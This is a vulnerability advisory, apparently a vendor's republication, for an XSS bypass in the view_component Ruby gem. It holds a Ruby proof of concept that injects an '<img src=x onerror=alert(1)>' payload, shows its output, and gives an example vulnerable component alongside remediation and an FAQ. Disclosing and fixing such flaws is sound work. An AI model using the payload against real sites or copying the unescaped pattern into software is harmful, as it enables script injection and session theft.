Summary
ViewComponent: around_render HTML-Safety Bypass
ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.
The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.
Affected Code
Validated against:
- Repository commit:
eea79445 - Ruby:
3.4.9
Relevant locations:
lib/view_component/base.rbrender_inaround_render__vc_maybe_escape_html
lib/view_component/template.rbInlineCall#safe_method_name_call
lib/view_component/collection.rbCollection#render_in
Key code paths:
# lib/view_component/base.rb
around_render do
render_template_for(@__vc_requested_details).to_s
end
# lib/view_component/template.rb
proc do
__vc_maybe_escape_html(send(m)) do
Kernel.warn(...)
end
end
# lib/view_component/collection.rb
components.map do |component|
component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe
Root Cause
Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.
This creates two different output-safety behaviors:
#callreturning unsafe string: escaped#around_renderreturning unsafe string: raw
Collection rendering then amplifies the issue by calling .html_safe on the joined result.
Proof of Concept
Run from the repository root:
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"
class PocController < ActionController::Base; end
def vc
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
c.view_context
end
PAYLOAD = "<img src=x onerror=alert(1)>"
class UnsafeCallComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = @payload
end
class UnsafeAroundComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
class UnsafeAroundCollectionComponent < ViewComponent::Base
with_collection_parameter :payload
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
view_context = vc
normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)
puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"
Observed output:
normal_call=<img src=x onerror=alert(1)>
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x onerror=alert(1)>
collection_raw=true html_safe=true
controller_render_to_string=<img src=x onerror=alert(1)>
controller_raw=true html_safe=false
The control case confirms that normal #call output is escaped. The around_render cases confirm that the same payload is emitted raw.
Exploit Scenario
A downstream application defines a component that uses around_render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.
Example vulnerable pattern:
class BannerComponent < ViewComponent::Base
def initialize(message:)
@message = message
end
def call
"fallback"
end
def around_render
"<div class=\"banner\">#{@message}</div>"
end
end
If message is user-controlled, scriptable HTML reaches the browser.
Preconditions
- The application defines or uses a component overriding
around_render. around_renderreturns or wraps attacker-influenced HTML-unsafe content.- The component is rendered in a browser-visible response.
- Higher impact when rendered through
ViewComponent::Collectionor controller/direct rendering.
Chaining Potential
This finding can chain with:
- preview routes or examples that accept URL parameters and render components
- unsafe markdown or CMS content rendered inside
around_render - CSP-disabled preview routes
- applications that expose admin-only pages containing affected components
Impact
Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:
- session or token theft where cookies/tokens are accessible
- authenticated actions as the victim
- CSRF bypass through same-origin script execution
- exfiltration of page data
- credential phishing or UI redress inside trusted application origin
The collection path is particularly risky because it converts the joined raw output to html_safe, which can suppress later escaping.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-54498 has a CVSS score of 8.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.12.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Apply the same HTML-safety enforcement to around_render return values that is applied to normal inline #call output.
Possible approaches:
- Wrap the result of
around_renderwith__vc_maybe_escape_htmlwhen the current template is HTML. - Require
around_renderto return anActiveSupport::SafeBufferto opt into raw HTML. - In collection rendering, avoid blindly calling
.html_safeon joined component outputs unless each item has been normalized through the same safety boundary.
Frequently Asked Questions
- What is CVE-2026-54498? CVE-2026-54498 is a high-severity cross-site scripting (XSS) vulnerability in view_component (rubygems), affecting versions >= 4.0.0, < 4.12.0. It is fixed in 4.12.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-54498? CVE-2026-54498 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of view_component are affected by CVE-2026-54498? view_component (rubygems) versions >= 4.0.0, < 4.12.0 is affected.
- Is there a fix for CVE-2026-54498? Yes. CVE-2026-54498 is fixed in 4.12.0. Upgrade to this version or later.
- Is CVE-2026-54498 exploitable, and should I be worried? Whether CVE-2026-54498 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54498 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54498? Upgrade
view_componentto 4.12.0 or later.